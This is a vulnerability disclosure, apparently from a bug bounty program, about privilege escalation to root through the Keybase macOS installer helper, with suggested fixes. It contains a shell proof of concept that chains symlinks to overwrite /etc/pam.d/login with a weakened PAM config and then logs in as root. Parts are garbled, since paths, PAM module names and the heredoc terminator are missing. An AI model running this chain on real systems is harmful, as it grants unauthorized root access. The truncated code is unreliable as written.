Privilege Escalation through Keybase Installer via Helper
Discovered by jinmo123 on Keybase

This issue took 0 Days and 4 hours to triage and 31 Days and 8 hours to resolve once triaged. is bundled with the components installer named When --install-app-bundle --source-path <src> --app-path <dst> is given to installer, KBAppBundle.m checks if <src> is properly codesigned, then copies it to <dst>.

First, there's two vulnerabilities in the source path validation: the check is racy, there's no symlink check.

1. Race condition

Since now the privileged helper (user=root) only accepts XPC request from 'admin' group, The path /Application/ is often writable. So I think that race condition is possible between (1) and (2).

(1)   [self validate:sourcePath completion:^(NSError *error) {
        if (error) {

        DDLogInfo(@"Copying app bundle %@ to %@", sourcePath, destinationPath);
        NSDictionary *params = @{@"source": sourcePath, @"destination": destinationPath};
(2)     [self.helperTool.helper sendRequest:@"move" params:@[params] completion:^(NSError *error, id value) {

Successful exploitation will bypass the source check. I skipped writing PoC code since the race window is bit narrow.

2. No symbolic link check

If source path is symbolic link to /Application/, the check is bypassed. Attacker can make a symbolic link like this:

/tmp/A -> /tmp/B -> /Application/

Because the helper uses NSFileManager::moveItemAtPath, the symbolic link itself is copied. Copying /tmp/A causes destination path to be a symbolic link to /tmp/B, and further it can be modified to our file.

3. Missing check for destination

Second, there's no check for the destination path, which is passed from --app-path parameter. This makes the admin to overwrite any file or folder like /etc.

Combining 2, 3, user can overwrite any files to point the writable path.


export APP=/Applications/
export INSTALLER=$APP/Contents/Resources/

export A=/tmp/_$RANDOM
export B=/tmp/_$RANDOM

# This script does `ln -sf /tmp/$R $DEST` in root permission
export DEST=/etc/pam.d/login

rm -rf $A $B
ln -s $APP $B
ln -s $B $A

$INSTALLER --run-mode=prod --app-path=$DEST --timeout=8 --install-app-bundle --source-path=$A --debug

# Now $DEST -> /tmp/$B (symlink)
# replace /tmp/$B to own contents
rm -rf /tmp/$B

cat > /tmp/$B <<EOF
# login: auth account password session
auth       optional
auth       optional
auth       optional
auth       required
account    required
account    required
password   required
session    required
session    required
session    optional


# Now there's no pam-based check for /usr/bin/login
echo id | login root


Source path check

Maybe the app bundle can be compressed with proper signature, and checked in the way of the redirector check on KBHelper.m line 260, and extracted in the helper.

Destination path check

I'm not sure how this can have additional restrictions, but maybe user alerts like those in --install-helper would be good. Alternatively, checking if app_path == "/Applications/" will work, too.


The privilege can be escalated to 'root' from any user in 'admin' group (including the default user) and have access to keybase.Helper XPC service.